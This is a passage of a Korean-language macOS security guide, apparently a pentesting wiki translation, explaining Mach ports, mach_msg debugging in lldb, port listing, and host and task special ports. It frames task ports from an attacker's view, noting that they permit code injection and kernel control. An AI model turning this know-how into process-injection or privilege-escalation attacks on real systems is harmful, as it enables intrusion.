κ²ƒμž…λ‹ˆλ‹€).

λ˜ν•œ μ·¨μ•½ν•œ ν”„λ‘œμ„ΈμŠ€μ— 포트 κΆŒν•œμ„ μ „μ†‘ν•˜λŠ” 것도 κ°€λŠ₯ν•˜λ©°, 포트 κΆŒν•œμ€ ν”„λ‘œμ„ΈμŠ€μ— λ‚˜νƒ€λ‚©λ‹ˆλ‹€(μ²˜λ¦¬ν•˜μ§€ μ•Šλ”λΌλ„).

Mac Ports APIs

ν¬νŠΈλŠ” μž‘μ—… λ„€μž„μŠ€νŽ˜μ΄μŠ€μ™€ μ—°κ²°λ˜μ–΄ μžˆμœΌλ―€λ‘œ 포트λ₯Ό μƒμ„±ν•˜κ±°λ‚˜ κ²€μƒ‰ν•˜λ €λ©΄ μž‘μ—… λ„€μž„μŠ€νŽ˜μ΄μŠ€λ„ μΏΌλ¦¬λ©λ‹ˆλ‹€(μžμ„Έν•œ λ‚΄μš©μ€ mach/mach_port.h μ°Έμ‘°):

  • mach_port_allocate | mach_port_construct: 포트 생성.
  • mach_port_allocateλŠ” 포트 μ„ΈνŠΈλ„ 생성할 수 μžˆμŠ΅λ‹ˆλ‹€: 포트 그룹에 λŒ€ν•œ μˆ˜μ‹  κΆŒν•œ. λ©”μ‹œμ§€κ°€ μˆ˜μ‹ λ  λ•Œλ§ˆλ‹€ ν•΄λ‹Ή ν¬νŠΈκ°€ ν‘œμ‹œλ©λ‹ˆλ‹€.
  • mach_port_allocate_name: 포트의 이름을 λ³€κ²½ν•©λ‹ˆλ‹€(기본적으둜 32λΉ„νŠΈ μ •μˆ˜).
  • mach_port_names: λŒ€μƒμ—μ„œ 포트 이름을 κ°€μ Έμ˜΅λ‹ˆλ‹€.
  • mach_port_type: 이름에 λŒ€ν•œ μž‘μ—…μ˜ κΆŒν•œμ„ κ°€μ Έμ˜΅λ‹ˆλ‹€.
  • mach_port_rename: 포트 이름을 λ³€κ²½ν•©λ‹ˆλ‹€(FD의 dup2와 μœ μ‚¬).
  • mach_port_allocate: μƒˆλ‘œμš΄ RECEIVE, PORT_SET λ˜λŠ” DEAD_NAME을 ν• λ‹Ήν•©λ‹ˆλ‹€.
  • mach_port_insert_right: RECEIVE κΆŒν•œμ΄ μžˆλŠ” ν¬νŠΈμ— μƒˆλ‘œμš΄ κΆŒν•œμ„ μƒμ„±ν•©λ‹ˆλ‹€.
  • mach_port_...
  • mach_msg | mach_msg_overwrite: mach λ©”μ‹œμ§€λ₯Ό μ „μ†‘ν•˜κ³  μˆ˜μ‹ ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” ν•¨μˆ˜. μ˜€λ²„λΌμ΄νŠΈ 버전은 λ©”μ‹œμ§€ μˆ˜μ‹ μ„ μœ„ν•œ λ‹€λ₯Έ 버퍼λ₯Ό μ§€μ •ν•  수 μžˆμŠ΅λ‹ˆλ‹€(λ‹€λ₯Έ 버전은 λ‹¨μˆœνžˆ μž¬μ‚¬μš©ν•©λ‹ˆλ‹€).

Debug mach_msg

mach_msg 및 mach_msg_overwrite ν•¨μˆ˜λŠ” λ©”μ‹œμ§€λ₯Ό μ „μ†‘ν•˜κ³  μˆ˜μ‹ ν•˜λŠ” 데 μ‚¬μš©λ˜λ―€λ‘œ, 이듀에 쀑단점을 μ„€μ •ν•˜λ©΄ μ „μ†‘λœ λ©”μ‹œμ§€μ™€ μˆ˜μ‹ λœ λ©”μ‹œμ§€λ₯Ό 검사할 수 μžˆμŠ΅λ‹ˆλ‹€.

예λ₯Ό λ“€μ–΄, 디버깅할 수 μžˆλŠ” μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ„ μ‹œμž‘ν•˜λ©΄ libSystem.Bκ°€ λ‘œλ“œλ˜μ–΄ 이 ν•¨μˆ˜λ₯Ό μ‚¬μš©ν•  κ²ƒμž…λ‹ˆλ‹€.

(lldb) b mach_msg
Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
(lldb) r
Process 71019 launched: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
Process 71019 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
->  0x181d3ac20 <+0>:  pacibsp
0x181d3ac24 <+4>:  sub    sp, sp, #0x20
0x181d3ac28 <+8>:  stp    x29, x30, [sp, #0x10]
0x181d3ac2c <+12>: add    x29, sp, #0x10
Target 0: (SandboxedShellApp) stopped.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
frame #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56
frame #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388
frame #3: 0x0000000181a9a710 libxpc.dylib`_xpc_interface_routine + 208
frame #4: 0x0000000181abbe24 libxpc.dylib`_xpc_init_pid_domain + 348
frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168

**mach_msg**의 인수λ₯Ό μ–»μœΌλ €λ©΄ λ ˆμ§€μŠ€ν„°λ₯Ό ν™•μΈν•˜μ‹­μ‹œμ˜€. μΈμˆ˜λŠ” λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€(좜처: mach/message.h):

__WATCHOS_PROHIBITED __TVOS_PROHIBITED
extern mach_msg_return_t        mach_msg(
mach_msg_header_t *msg,
mach_msg_option_t option,
mach_msg_size_t send_size,
mach_msg_size_t rcv_size,
mach_port_name_t rcv_name,
mach_msg_timeout_t timeout,
mach_port_name_t notify);

λ ˆμ§€μŠ€νŠΈλ¦¬μ—μ„œ 값을 κ°€μ Έμ˜΅λ‹ˆλ‹€:

reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6
x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)
x1 = 0x0000000003114207 ;mach_msg_option_t (option)
x2 = 0x0000000000000388 ;mach_msg_size_t (send_size)
x3 = 0x0000000000000388 ;mach_msg_size_t (rcv_size)
x4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)
x5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)
x6 = 0x0000000000000000 ;mach_port_name_t (notify)

λ©”μ‹œμ§€ 헀더λ₯Ό κ²€μ‚¬ν•˜μ—¬ 첫 번째 인수λ₯Ό ν™•μΈν•©λ‹ˆλ‹€:

(lldb) x/6w $x0
0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03
0x124e04cf8: 0x00000b07 0x40000322

; 0x00131513 -> mach_msg_bits_t (msgh_bits) = 0x13 (MACH_MSG_TYPE_COPY_SEND) in local | 0x1500 (MACH_MSG_TYPE_MAKE_SEND_ONCE) in remote | 0x130000 (MACH_MSG_TYPE_COPY_SEND) in voucher
; 0x00000388 -> mach_msg_size_t (msgh_size)
; 0x00000807 -> mach_port_t (msgh_remote_port)
; 0x00001f03 -> mach_port_t (msgh_local_port)
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
; 0x40000322 -> mach_msg_id_t (msgh_id)

κ·Έ μœ ν˜•μ˜ mach_msg_bits_tλŠ” 응닡을 ν—ˆμš©ν•˜λŠ” 데 맀우 μΌλ°˜μ μž…λ‹ˆλ‹€.

포트 λ‚˜μ—΄

lsmp -p <pid>

sudo lsmp -p 1
Process (1) : launchd
name      ipc-object    rights     flags   boost  reqs  recv  send sonce oref  qlimit  msgcount  context            identifier  type
---------   ----------  ----------  -------- -----  ---- ----- ----- ----- ----  ------  --------  ------------------ ----------- ------------
0x00000203  0x181c4e1d  send        --------        ---            2                                                  0x00000000  TASK-CONTROL SELF (1) launchd
0x00000303  0x183f1f8d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x00000403  0x183eb9dd  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000051b  0x1840cf3d  send        --------        ---            2        ->        6         0  0x0000000000000000 0x00011817  (380) WindowServer
0x00000603  0x183f698d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000070b  0x175915fd  recv,send   ---GS---     0  ---      1     2         Y        5         0  0x0000000000000000
0x00000803  0x1758794d  send        --------        ---            1                                                  0x00000000  CLOCK
0x0000091b  0x192c71fd  send        --------        D--            1        ->        1         0  0x0000000000000000 0x00028da7  (418) runningboardd
0x00000a6b  0x1d4a18cd  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00006a03  (92247) Dock
0x00000b03  0x175a5d4d  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00001803  (310) logd
[...]
0x000016a7  0x192c743d  recv,send   --TGSI--     0  ---      1     1         Y       16         0  0x0000000000000000
+     send        --------        ---            1         <-                                       0x00002d03  (81948) seserviced
+     send        --------        ---            1         <-                                       0x00002603  (74295) passd
[...]

이름은 ν¬νŠΈμ— 기본적으둜 μ£Όμ–΄μ§„ μ΄λ¦„μž…λ‹ˆλ‹€(첫 3 λ°”μ΄νŠΈμ—μ„œ μ¦κ°€ν•˜λŠ” 방식을 ν™•μΈν•˜μ„Έμš”). **ipc-object**λŠ” 포트의 λ‚œλ…ν™”λœ 고유 μ‹λ³„μžμž…λ‹ˆλ‹€.
λ˜ν•œ send κΆŒν•œλ§Œ μžˆλŠ” ν¬νŠΈκ°€ κ·Έκ²ƒμ˜ μ†Œμœ μž(포트 이름 + pid)λ₯Ό μ‹λ³„ν•˜λŠ” 방식을 μ£Όλͺ©ν•˜μ„Έμš”.
같은 ν¬νŠΈμ— μ—°κ²°λœ λ‹€λ₯Έ μž‘μ—…μ„ λ‚˜νƒ€λ‚΄κΈ° μœ„ν•΄ **+**λ₯Ό μ‚¬μš©ν•˜λŠ” 것도 μ£Όλͺ©ν•˜μ„Έμš”.

λ˜ν•œ procesxpλ₯Ό μ‚¬μš©ν•˜μ—¬ λ“±λ‘λœ μ„œλΉ„μŠ€ 이름을 확인할 수 μžˆμŠ΅λ‹ˆλ‹€(SIPκ°€ λΉ„ν™œμ„±ν™”λ˜μ–΄ μžˆμ–΄μ•Ό com.apple.system-task-port ν•„μš”).

procesp 1 ports

이 λ„κ΅¬λŠ” http://newosxbook.com/tools/binpack64-256.tar.gzμ—μ„œ λ‹€μš΄λ‘œλ“œν•˜μ—¬ iOS에 μ„€μΉ˜ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

μ½”λ“œ 예제

λ³΄λ‚΄λŠ” μ‚¬λžŒμ΄ 포트λ₯Ό ν• λ‹Ήν•˜κ³ , 이름 org.darlinghq.example에 λŒ€ν•œ 전솑 κΆŒν•œμ„ μƒμ„±ν•˜μ—¬ λΆ€νŠΈμŠ€νŠΈλž© μ„œλ²„μ— μ „μ†‘ν•˜λŠ” 방법에 μ£Όλͺ©ν•˜μ„Έμš”. λ³΄λ‚΄λŠ” μ‚¬λžŒμ€ ν•΄λ‹Ή μ΄λ¦„μ˜ 전솑 κΆŒν•œμ„ μš”μ²­ν•˜κ³  이λ₯Ό μ‚¬μš©ν•˜μ—¬ λ©”μ‹œμ§€λ₯Ό μ „μ†‘ν–ˆμŠ΅λ‹ˆλ‹€.

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}

특ꢌ 포트

νŠΉμ • μž‘μ—…μ΄ SEND κΆŒν•œμ„ κ°€μ§€κ³  μžˆλŠ” 경우 νŠΉμ • λ―Όκ°ν•œ μž‘μ—…μ„ μˆ˜ν–‰ν•˜κ±°λ‚˜ νŠΉμ • λ―Όκ°ν•œ 데이터에 μ ‘κ·Όν•  수 μžˆλŠ” νŠΉλ³„ν•œ ν¬νŠΈκ°€ μžˆμŠ΅λ‹ˆλ‹€. μ΄λŠ” 곡격자의 κ΄€μ μ—μ„œ μ΄λŸ¬ν•œ ν¬νŠΈκ°€ 맀우 ν₯미둜운 μ΄μœ λŠ” κΈ°λŠ₯ λ•Œλ¬Έλ§Œμ΄ μ•„λ‹ˆλΌ μž‘μ—… 간에 SEND κΆŒν•œμ„ κ³΅μœ ν•  수 있기 λ•Œλ¬Έμž…λ‹ˆλ‹€.

호슀트 νŠΉλ³„ 포트

이 ν¬νŠΈλŠ” 숫자둜 ν‘œμ‹œλ©λ‹ˆλ‹€.

SEND κΆŒν•œμ€ **host_get_special_port**λ₯Ό ν˜ΈμΆœν•˜μ—¬ 얻을 수 있으며, RECEIVE κΆŒν•œμ€ **host_set_special_port**λ₯Ό ν˜ΈμΆœν•˜μ—¬ 얻을 수 μžˆμŠ΅λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ 두 호좜 λͺ¨λ‘ host_priv 포트λ₯Ό ν•„μš”λ‘œ ν•˜λ©°, μ΄λŠ” 였직 루트만 μ ‘κ·Όν•  수 μžˆμŠ΅λ‹ˆλ‹€. κ²Œλ‹€κ°€, κ³Όκ±°μ—λŠ” λ£¨νŠΈκ°€ **host_set_special_port**λ₯Ό ν˜ΈμΆœν•˜μ—¬ μž„μ˜μ˜ 포트λ₯Ό νƒˆμ·¨ν•  수 μžˆμ—ˆμœΌλ©°, 예λ₯Ό λ“€μ–΄ HOST_KEXTD_PORTλ₯Ό νƒˆμ·¨ν•˜μ—¬ μ½”λ“œ μ„œλͺ…을 μš°νšŒν•  수 μžˆμ—ˆμŠ΅λ‹ˆλ‹€(ν˜„μž¬ SIPκ°€ 이λ₯Ό λ°©μ§€ν•©λ‹ˆλ‹€).

이듀은 2개의 그룹으둜 λ‚˜λ‰©λ‹ˆλ‹€: 첫 7개의 ν¬νŠΈλŠ” 컀널에 μ˜ν•΄ μ†Œμœ λ˜λ©°, 1은 HOST_PORT, 2λŠ” HOST_PRIV_PORT, 3은 HOST_IO_MASTER_PORT, 7은 HOST_MAX_SPECIAL_KERNEL_PORTμž…λ‹ˆλ‹€.
숫자 8λΆ€ν„° μ‹œμž‘ν•˜λŠ” ν¬νŠΈλŠ” μ‹œμŠ€ν…œ 데λͺ¬μ— μ˜ν•΄ μ†Œμœ λ˜λ©°, host_special_ports.hμ—μ„œ μ„ μ–Έλœ 것을 찾을 수 μžˆμŠ΅λ‹ˆλ‹€.

  • 호슀트 포트: ν”„λ‘œμ„ΈμŠ€κ°€ 이 ν¬νŠΈμ— λŒ€ν•΄ SEND κΆŒν•œμ„ κ°€μ§€κ³  μžˆλ‹€λ©΄, λ‹€μŒκ³Ό 같은 루틴을 ν˜ΈμΆœν•˜μ—¬ μ‹œμŠ€ν…œμ— λŒ€ν•œ 정보λ₯Ό 얻을 수 μžˆμŠ΅λ‹ˆλ‹€:
    • host_processor_info: ν”„λ‘œμ„Έμ„œ 정보 μ–»κΈ°
    • host_info: 호슀트 정보 μ–»κΈ°
    • host_virtual_physical_table_info: 가상/물리 νŽ˜μ΄μ§€ ν…Œμ΄λΈ” (MACH_VMDEBUG ν•„μš”)
    • host_statistics: 호슀트 톡계 μ–»κΈ°
    • mach_memory_info: 컀널 λ©”λͺ¨λ¦¬ λ ˆμ΄μ•„μ›ƒ μ–»κΈ°
  • 호슀트 프라이빗 포트: 이 ν¬νŠΈμ— λŒ€ν•΄ SEND κΆŒν•œμ„ κ°€μ§„ ν”„λ‘œμ„ΈμŠ€λŠ” λΆ€νŒ… 데이터 ν‘œμ‹œ λ˜λŠ” 컀널 ν™•μž₯ λ‘œλ“œ μ‹œλ„μ™€ 같은 특ꢌ μž‘μ—…μ„ μˆ˜ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€. ν”„λ‘œμ„ΈμŠ€λŠ” λ£¨νŠΈμ—¬μ•Ό 이 κΆŒν•œμ„ 얻을 수 μžˆμŠ΅λ‹ˆλ‹€.
  • λ˜ν•œ, kext_request APIλ₯Ό ν˜ΈμΆœν•˜κΈ° μœ„ν•΄μ„œλŠ” **com.apple.private.kext***와 같은 λ‹€λ₯Έ κΆŒν•œμ΄ ν•„μš”ν•˜λ©°, μ΄λŠ” Apple λ°”μ΄λ„ˆλ¦¬μ—κ²Œλ§Œ λΆ€μ—¬λ©λ‹ˆλ‹€.
  • ν˜ΈμΆœν•  수 μžˆλŠ” λ‹€λ₯Έ 루틴은 λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€:
    • host_get_boot_info: machine_boot_info() μ–»κΈ°
    • host_priv_statistics: 특ꢌ 톡계 μ–»κΈ°
    • vm_allocate_cpm: 연속 물리 λ©”λͺ¨λ¦¬ ν• λ‹Ή
    • host_processors: 호슀트 ν”„λ‘œμ„Έμ„œμ— λŒ€ν•œ SEND κΆŒν•œ
    • mach_vm_wire: λ©”λͺ¨λ¦¬λ₯Ό 상주 μƒνƒœλ‘œ λ§Œλ“€κΈ°
  • λ£¨νŠΈκ°€ 이 κΆŒν•œμ— μ ‘κ·Όν•  수 μžˆμœΌλ―€λ‘œ, host_set_[special/exception]_port[s]λ₯Ό ν˜ΈμΆœν•˜μ—¬ 호슀트 νŠΉλ³„ λ˜λŠ” μ˜ˆμ™Έ 포트λ₯Ό νƒˆμ·¨ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

λͺ¨λ“  호슀트 νŠΉλ³„ 포트λ₯Ό 보기 μœ„ν•΄ λ‹€μŒμ„ μ‹€ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

procexp all ports | grep "HSP"

Task Special Ports

이듀은 잘 μ•Œλ €μ§„ μ„œλΉ„μŠ€μ— μ˜ˆμ•½λœ ν¬νŠΈμž…λ‹ˆλ‹€. task_[get/set]_special_portλ₯Ό ν˜ΈμΆœν•˜μ—¬ κ°€μ Έμ˜€κ±°λ‚˜ μ„€μ •ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 이듀은 task_special_ports.hμ—μ„œ 찾을 수 μžˆμŠ΅λ‹ˆλ‹€:

typedef	int	task_special_port_t;

#define TASK_KERNEL_PORT	1	/* Represents task to the outside
world.*/
#define TASK_HOST_PORT		2	/* The host (priv) port for task.  */
#define TASK_BOOTSTRAP_PORT	4	/* Bootstrap environment for task. */
#define TASK_WIRED_LEDGER_PORT	5	/* Wired resource ledger for task. */
#define TASK_PAGED_LEDGER_PORT	6	/* Paged resource ledger for task. */
  • TASK_KERNEL_PORT[task-self send right]: 이 μž‘μ—…μ„ μ œμ–΄ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” ν¬νŠΈμž…λ‹ˆλ‹€. μž‘μ—…μ— 영ν–₯을 λ―ΈμΉ˜λŠ” λ©”μ‹œμ§€λ₯Ό λ³΄λ‚΄λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€. μ΄λŠ” **mach_task_self (μ•„λž˜μ˜ Task Ports μ°Έμ‘°)**에 μ˜ν•΄ λ°˜ν™˜λ˜λŠ” ν¬νŠΈμž…λ‹ˆλ‹€.
  • TASK_BOOTSTRAP_PORT[bootstrap send right]: μž‘μ—…μ˜ λΆ€νŠΈμŠ€νŠΈλž© ν¬νŠΈμž…λ‹ˆλ‹€. λ‹€λ₯Έ μ‹œμŠ€ν…œ μ„œλΉ„μŠ€ 포트의 λ°˜ν™˜μ„ μš”μ²­ν•˜λŠ” λ©”μ‹œμ§€λ₯Ό λ³΄λ‚΄λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€.
  • TASK_HOST_NAME_PORT[host-self send right]: ν¬ν•¨λœ ν˜ΈμŠ€νŠΈμ— λŒ€ν•œ 정보λ₯Ό μš”μ²­ν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” ν¬νŠΈμž…λ‹ˆλ‹€. μ΄λŠ” mach_host_self에 μ˜ν•΄ λ°˜ν™˜λ˜λŠ” ν¬νŠΈμž…λ‹ˆλ‹€.
  • TASK_WIRED_LEDGER_PORT[ledger send right]: 이 μž‘μ—…μ΄ κ³ μ • 컀널 λ©”λͺ¨λ¦¬λ₯Ό κ°€μ Έμ˜€λŠ” 좜처λ₯Ό λͺ…λͺ…ν•˜λŠ” ν¬νŠΈμž…λ‹ˆλ‹€.
  • TASK_PAGED_LEDGER_PORT[ledger send right]: 이 μž‘μ—…μ΄ κΈ°λ³Έ λ©”λͺ¨λ¦¬ 관리 λ©”λͺ¨λ¦¬λ₯Ό κ°€μ Έμ˜€λŠ” 좜처λ₯Ό λͺ…λͺ…ν•˜λŠ” ν¬νŠΈμž…λ‹ˆλ‹€.

Task Ports

μ›λž˜ MachλŠ” β€œν”„λ‘œμ„ΈμŠ€β€œκ°€ μ•„λ‹ˆλΌ β€œμž‘μ—…β€œμ„ κ°€μ§€κ³  μžˆμ—ˆμœΌλ©°, μ΄λŠ” μŠ€λ ˆλ“œμ˜ μ»¨ν…Œμ΄λ„ˆμ— 더 가깝닀고 μ—¬κ²¨μ‘ŒμŠ΅λ‹ˆλ‹€. Machκ°€ BSD와 λ³‘ν•©λ˜λ©΄μ„œ 각 μž‘μ—…μ€ BSD ν”„λ‘œμ„ΈμŠ€μ™€ μ—°κ΄€λ˜μ—ˆμŠ΅λ‹ˆλ‹€. λ”°λΌμ„œ λͺ¨λ“  BSD ν”„λ‘œμ„ΈμŠ€λŠ” ν”„λ‘œμ„ΈμŠ€κ°€ 되기 μœ„ν•΄ ν•„μš”ν•œ μ„ΈλΆ€ 정보λ₯Ό κ°€μ§€κ³  있으며, λͺ¨λ“  Mach μž‘μ—…λ„ λ‚΄λΆ€ μž‘λ™μ„ κ°€μ§€κ³  μžˆμŠ΅λ‹ˆλ‹€(μ‘΄μž¬ν•˜μ§€ μ•ŠλŠ” pid 0인 kernel_taskλ₯Ό μ œμ™Έν•˜κ³ ).

이와 κ΄€λ ¨λœ 두 κ°€μ§€ 맀우 ν₯미둜운 ν•¨μˆ˜κ°€ μžˆμŠ΅λ‹ˆλ‹€:

  • task_for_pid(target_task_port, pid, &task_port_of_pid): μ§€μ •λœ pid와 κ΄€λ ¨λœ μž‘μ—…μ˜ μž‘μ—… ν¬νŠΈμ— λŒ€ν•œ SEND κΆŒν•œμ„ κ°€μ Έμ™€μ„œ μ§€μ •λœ target_task_port에 μ œκ³΅ν•©λ‹ˆλ‹€(일반적으둜 mach_task_self()λ₯Ό μ‚¬μš©ν•œ 호좜 μž‘μ—…μ΄μ§€λ§Œ, λ‹€λ₯Έ μž‘μ—…μ˜ SEND 포트일 μˆ˜λ„ μžˆμŠ΅λ‹ˆλ‹€).
  • pid_for_task(task, &pid): μž‘μ—…μ— λŒ€ν•œ SEND κΆŒν•œμ΄ μ£Όμ–΄μ‘Œμ„ λ•Œ, 이 μž‘μ—…μ΄ μ–΄λ–€ PID와 관련이 μžˆλŠ”μ§€ μ°ΎμŠ΅λ‹ˆλ‹€.

μž‘μ—… λ‚΄μ—μ„œ μž‘μ—…μ„ μˆ˜ν–‰ν•˜κΈ° μœ„ν•΄μ„œλŠ” mach_task_self()λ₯Ό ν˜ΈμΆœν•˜μ—¬ μžμ‹ μ—κ²Œ SEND κΆŒν•œμ΄ ν•„μš”ν•©λ‹ˆλ‹€(μ΄λŠ” task_self_trap (28)을 μ‚¬μš©ν•©λ‹ˆλ‹€). 이 κΆŒν•œμœΌλ‘œ μž‘μ—…μ€ λ‹€μŒκ³Ό 같은 μ—¬λŸ¬ μž‘μ—…μ„ μˆ˜ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

  • task_threads: μž‘μ—…μ˜ μŠ€λ ˆλ“œμ˜ λͺ¨λ“  μž‘μ—… ν¬νŠΈμ— λŒ€ν•œ SEND κΆŒν•œμ„ κ°€μ Έμ˜΅λ‹ˆλ‹€.
  • task_info: μž‘μ—…μ— λŒ€ν•œ 정보λ₯Ό κ°€μ Έμ˜΅λ‹ˆλ‹€.
  • task_suspend/resume: μž‘μ—…μ„ μΌμ‹œ μ€‘μ§€ν•˜κ±°λ‚˜ μž¬κ°œν•©λ‹ˆλ‹€.
  • task_[get/set]_special_port
  • thread_create: μŠ€λ ˆλ“œλ₯Ό μƒμ„±ν•©λ‹ˆλ‹€.
  • task_[get/set]_state: μž‘μ—… μƒνƒœλ₯Ό μ œμ–΄ν•©λ‹ˆλ‹€.
  • 더 λ§Žμ€ λ‚΄μš©μ€ mach/task.hμ—μ„œ 찾을 수 μžˆμŠ΅λ‹ˆλ‹€.

Caution

λ‹€λ₯Έ μž‘μ—…μ˜ μž‘μ—… ν¬νŠΈμ— λŒ€ν•œ SEND κΆŒν•œμ΄ 있으면, λ‹€λ₯Έ μž‘μ—…μ— λŒ€ν•΄ μ΄λŸ¬ν•œ μž‘μ—…μ„ μˆ˜ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

κ²Œλ‹€κ°€, task_portλŠ” vm_map ν¬νŠΈμ΄κΈ°λ„ ν•˜λ©°, μ΄λŠ” vm_read() 및 vm_write()와 같은 ν•¨μˆ˜λ₯Ό μ‚¬μš©ν•˜μ—¬ μž‘μ—… λ‚΄μ—μ„œ λ©”λͺ¨λ¦¬λ₯Ό 읽고 μ‘°μž‘ν•  수 있게 ν•΄μ€λ‹ˆλ‹€. μ΄λŠ” 기본적으둜 λ‹€λ₯Έ μž‘μ—…μ˜ task_port에 λŒ€ν•œ SEND κΆŒν•œμ΄ μžˆλŠ” μž‘μ—…μ΄ ν•΄λ‹Ή μž‘μ—…μ— μ½”λ“œλ₯Ό μ£Όμž…ν•  수 μžˆμŒμ„ μ˜λ―Έν•©λ‹ˆλ‹€.

컀널도 μž‘μ—…μ΄κΈ° λ•Œλ¬Έμ—, λˆ„κ΅°κ°€κ°€ **kernel_task**에 λŒ€ν•œ SEND κΆŒν•œμ„ μ–»μœΌλ©΄, 컀널이 무엇이든 μ‹€ν–‰ν•˜λ„λ‘ λ§Œλ“€ 수 μžˆμŠ΅λ‹ˆλ‹€(νƒˆμ˜₯).

  • mach_task_self()λ₯Ό ν˜ΈμΆœν•˜μ—¬ 호좜 μž‘μ—…μ— λŒ€ν•œ 이 포트의 이름을 κ°€μ Έμ˜΅λ‹ˆλ‹€. 이 ν¬νŠΈλŠ” **exec()**λ₯Ό ν†΅ν•΄μ„œλ§Œ μƒμ†λ©λ‹ˆλ‹€; fork()둜 μƒμ„±λœ μƒˆ μž‘μ—…μ€ μƒˆ μž‘μ—… 포트λ₯Ό λ°›μŠ΅λ‹ˆλ‹€(νŠΉλ³„ν•œ 경우둜, suid λ°”μ΄λ„ˆλ¦¬μ—μ„œ exec() ν›„ μž‘μ—…λ„ μƒˆ μž‘μ—… 포트λ₯Ό λ°›μŠ΅λ‹ˆλ‹€). μž‘μ—…μ„ μƒμ„±ν•˜κ³  포트λ₯Ό μ–»λŠ” μœ μΌν•œ 방법은 fork()λ₯Ό μˆ˜ν–‰ν•˜λ©΄μ„œ β€œν¬νŠΈ μŠ€μ™‘ λŒ„μŠ€β€λ₯Ό μˆ˜ν–‰ν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€.
  • ν¬νŠΈμ— μ ‘κ·Όν•˜κΈ° μœ„ν•œ μ œν•œ 사항은 λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€(λ°”μ΄λ„ˆλ¦¬ AppleMobileFileIntegrity의 macos_task_policyμ—μ„œ):
